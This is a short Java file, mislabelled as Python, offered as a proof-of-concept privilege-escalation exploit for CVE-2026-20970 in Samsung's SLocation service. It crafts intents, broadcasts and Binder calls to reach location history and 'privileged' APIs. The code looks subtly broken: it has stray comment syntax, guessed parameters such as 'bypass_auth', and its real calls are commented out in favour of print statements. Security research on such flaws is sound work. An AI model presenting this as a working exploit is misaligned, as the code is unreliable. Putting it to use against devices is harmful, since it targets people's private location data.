The following code is for security research and authorized testing only.
python
// CVE-2026-20970 PoC - SLocation Privilege Escalation
// This PoC demonstrates improper access control in Samsung SLocation
// Note: This is for educational and security research purposes only
package com.example.cve202620970;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
public class SLocationExploit {
// Target component information
private static final String TARGET_PACKAGE = "com.sec.android.location";
private static final String TARGET_SERVICE = "com.sec.android.location.SLocationService";
// Exploit method 1: Direct service invocation
public void exploitViaService() {
Intent intent = new Intent();
intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_SERVICE));
// Craft malicious extras to bypass access control
Bundle extras = new Bundle();
extras.putString("action", "privileged_api_call");
extras.putString("api_name", "getLocationHistory");
extras.putBoolean("bypass_auth", true);
extras.putInt("requested_permission_level", 0); // Request lowest privilege
intent.putExtras(extras);
// Start the service without proper permission check
// This may allow execution of privileged APIs
try {
// In real attack scenario, this would be called from a low-privilege app
// startService(intent);
System.out.println("Malicious intent crafted successfully");
} catch (SecurityException e) {
System.out.println("Permission denied: " + e.getMessage());
}
}
// Exploit method 2: Broadcast receiver exploitation
public void exploitViaBroadcast() {
Intent broadcast = new Intent();
broadcast.setAction("com.samsung.location.PRIVILEGED_ACTION");
broadcast.setPackage(TARGET_PACKAGE);
Bundle data = new Bundle();
data.putString("command", "execute_privileged");
data.putString("target_api", "sensitive_data_access");
broadcast.putExtras(data);
// sendBroadcast(broadcast); // May bypass permission checks
}
// Exploit method 3: Binder interface abuse
public void exploitViaBinder() {
// In real scenario, obtain IBinder from SLocation service
// and invoke privileged methods without proper validation
try {
// IBinder binder = ServiceManager.getService("slocation");
// Use reflection or direct binding to call privileged methods
System.out.println("Attempting Binder-based exploitation");
} catch (Exception e) {
System.out.println("Binder exploitation failed: " + e.getMessage());
}
}
}
// Mitigation: Apply Samsung SMR Jan-2026 Release 1 or later
// Verify proper permission checks before API execution
// Implement additional authentication for privileged operations